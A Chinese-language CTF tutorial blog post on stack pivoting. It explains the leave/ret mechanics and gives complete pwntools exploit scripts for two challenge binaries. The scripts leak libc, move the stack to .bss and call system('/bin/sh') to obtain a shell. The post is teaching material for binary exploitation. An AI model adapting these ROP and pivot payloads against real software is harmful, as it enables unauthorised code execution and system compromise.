栈迁移-Pivoting

D0wnBe@t Lv4

介绍

最初学的时候看的文章:this

栈迁移:在于溢出的长度不够布置ROP链,可以迁移栈到一个合适的地址,合适的空间,布置ROP链,然后执行ROP链,getshell。

原理

修改ret address为leave ret,将rbp修改为要迁移的地址,即可栈迁移。

1
2
leave 相当于 mov rsp, rbp; pop rbp ;
ret 相当于 pop rip
  • 第一次leave ret(函数结尾会自带来恢复栈状态)
1
2
3
4
leave: mov rsp,rbp; 将rbp的值给rsp,即将rsp拉到rbp的位置
pop rbp; 将rsp此时对应的值弹给rbp,所以之前将aim_addr覆盖为rbp就是为了此时将rbp弹为aim_addr,完成这一步,rbp迁移到aim address
;同时由于pop,rsp往高地址移动一个机器字长,即此时rsp是ret address
ret : pop rip;将rsp此时的值弹给rip,即leave ret 弹给rip,会再次执行leave ret

  • 第二次leave ret(溢出ret addr 得到的leave ret)
1
2
3
leave: ;rsp到rbp的位置,即aim_address
pop rbp;将aim_addr所指向的数据弹给rbp,这里要注意!!!有一个字长的垃圾数据是没用的,此时的rbp无所谓弹到哪里,然后rsp向高地址移动
ret: pop rip; rsp此时在ROP链的开端,然后弹给rip开始执行ROP链

  • 核心的原理就是这样了
1
2
rbp -> aim_address(布置一个垃圾数据) or ->aim_address-8
ret address -> leave ret

例题

BUUCTF actf_2019_babystack

直接看这篇文章 ,很久之前写的

  • 这道题目就是标准的栈迁移题目,也可以说是板子了,只允许你溢出0x10字节,刚好够覆盖rbp,ret_address,可以打一次栈迁移,泄露出栈地址,重复使用
  • 但是没有泄露出栈地址怎么办呢?我们可以栈迁移到bss段上,见下题

BUUCTF Black watch入群题

题目链接

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}
  • s是在bss段上的,然后下方往buf读入数据,只能溢出两个机器字长,典型的栈迁移,但是这里是不可以泄露栈地址的,也就是说无法实现栈的复用,那么我们直接迁移到bss段上即可
  • 分两步,第一步泄露libc,第二步get shell
1
2
3
4
5
6
7
8
9
# 布置ROP链,准备泄漏libc
p.recvuntil("What is your name?")
payload = flat(write_plt,main,1,write_got,4)
p.send(payload)

# 栈迁移到bss
p.recv()
payload = cyclic(0x18)+p32(bss-0x4)+p32(leave_ret)
p.send(payload)
1
2
3
4
5
6
7
8
9
# 同样的操作再来一次即可
p.recvuntil("What is your name?")
payload = flat(system,0xdead,bin_sh)
p.send(payload)

p.recv()
payload = cyclic(0x18)+p32(bss-4)+p32(leave_ret)
p.send(payload)
p.interactive()

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')

p = remote("node5.buuoj.cn",27305)
#p = process("./pwn")
elf = ELF("./pwn")
main = 0x08048513
write_plt = elf.plt['write']
write_got = elf.got['write']
bss = 0x0804A300
leave_ret = 0x08048408

# 布置ROP链,准备泄漏libc
p.recvuntil("What is your name?")
payload = flat(write_plt,main,1,write_got,4)
p.send(payload)

# 栈迁移到bss
p.recv()
payload = cyclic(0x18)+p32(bss-0x4)+p32(leave_ret)
p.send(payload)

# 泄漏libc
write_addr = u32(p.recv(4))
success("write address: "+hex(write_addr))
libc = ELF("libc-2.23.so")
base = write_addr - libc.sym['write']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b'/bin/sh\x00'))

# 同样的操作再来一次即可
p.recvuntil("What is your name?")
payload = flat(system,0xdead,bin_sh)
p.send(payload)

p.recv()
payload = cyclic(0x18)+p32(bss-4)+p32(leave_ret)
p.send(payload)
p.interactive()

思考

  • 该题目是可以往bss段上面读入东西,然后栈迁移执行即可,那万一失去了往bss段读的权力呢?比如说没有第一个read,还可以写吗?
  • 其实还是可以的,通过read的函数实现,看到下一题

24羊城杯pstack

附件下载地址:
链接:https://pan.baidu.com/s/1TNRnyduX8HTeAFWrAywdww?pwd=4sco
提取码:4sco

通过read拓展”栈空间”

1
2
3
4
5
6
ssize_t vuln()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts("Can you grasp this little bit of overflow?");
return read(0, buf, 0x40uLL);
}
  • 代码很简单,64位程序,相当于上题去掉了第一个read,然后其余都是一样的,可以溢出两个字长,打栈迁移,但是我们没有栈地址,也没有提前往bss段布置好ROP链,那就不可以写了吗?看到read的汇编

  • 关键点就在这里
1
fd -> rdi -> rax -> [rbp+buf]
  • 我们的read是往rbp+buf的地址写入0x40的数据的,那么我们将rbp覆盖为bss+0x30,ret_addr改为lea rax,[rbp+buf]这条指令的地址(可记作m_read),不就可以实现往bss段上读入数据,即提前布置好ROP链吗?!!

讲解

  • 第一步先用m_read往bss段上面写入ROP链,该ROP链用于泄露libc
1
2
3
4
5
6
7
p.recvuntil("Can you grasp this little bit of overflow?\n")
payload = cyclic(0x30) + p64(bss) + p64(m_read)
p.send(payload)

payload = flat(bss,pop_rdi_ret,puts_got , puts_plt, m_read,0)
payload += p64(bss - 0x30) + p64(leave_ret)
p.send(payload)

这样程序会执行m_read,读入下方的payload

(1)第一个payload可以看到,rbp覆盖为bss,ret_addr为m_read

(2)第二个payload是在m_read开始写入数据,注意看到rsp还是在栈上面的,说明你还可以通过栈溢出继续打栈迁移,需要注意,我们一次栈迁移肯定是不够的,所以要注意此时rbp不能是之前一段栈迁移一样填充垃圾数据,要填充为bss。

  • 执行完ROP链之后会继续执行m_read,此时的rbp应该是多少呢?就是你给的bss

此时直接布置ROP链get shell即可

1
2
3
4
5
payload = cyclic(0x20)
payload += flat(pop_rdi_ret,bin_sh,system,m_read)

p.send(payload)
p.interactive()

解释一下这个payload,看下图:

写入数据从rbp-0x30即0x601810写入,但是单纯的直接写入0x30的数据然后“栈溢出”写system(‘/bin/sh’)的ROP链能行吗?当然是不行的,你写了但是并不会执行,这里就要注意下面的call read

1
call: push rip; jmp addr; ret

从上面可以看出,call完函数之后,会执行ret,即pop rip,此时将rsp改为ROP链的开头即可,但是注意,call会先push rip,会将rsp往低地址移动一个字长,即此时的rsp应该是0x601830,所以填充0x20的垃圾数据,然后布置ROP链即可。执行完syscall如下

  • 可以注意到下方我们已经布置好了ROP链,然后DISASM页面先放还有一个ret,即可以执行ROP链,从而get shell。
  • 其实也可以发现,最后的m_read可有可无

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch='amd64',log_level='debug')
context.terminal='gnome-terminal'
def bug():
gdb.attach(p)
pause()

p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
m_read = 0x4006C4
bss = elf.bss()+0x800+0x30
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x4006B1
pop_rdi_ret = 0x0000000000400773
leave_ret = 0x00000000004006db
ret = 0x0000000000400506

p.recvuntil("Can you grasp this little bit of overflow?\n")
payload = cyclic(0x30) + p64(bss) + p64(m_read)
p.send(payload)

payload = flat(bss,pop_rdi_ret,puts_got , puts_plt, m_read,0)
payload += p64(bss - 0x30) + p64(leave_ret)
p.send(payload)
puts_addr = u64(p.recvn(6)+b'\x00\x00')
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b'/bin/sh\x00'))

payload = cyclic(0x20)
payload += flat(pop_rdi_ret,bin_sh,system)

p.send(payload)
p.interactive()

进阶-2024NSSCTF秋季招新(不可名状的东西)

通过百度网盘分享的文件:虽然不知道你在期待什么?.7z
链接:https://pan.baidu.com/s/1WyFc6Zz3dGCvwNKcrfx31w?pwd=vdfs
提取码:vdfs

  • 标题: 栈迁移-Pivoting
  • 作者: D0wnBe@t
  • 创建于 : 2024-10-23 19:40:32
  • 更新于 : 2024-11-07 22:44:19
  • 链接: http://downbeat.top/2024/10/23/栈迁移-Pivoting/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论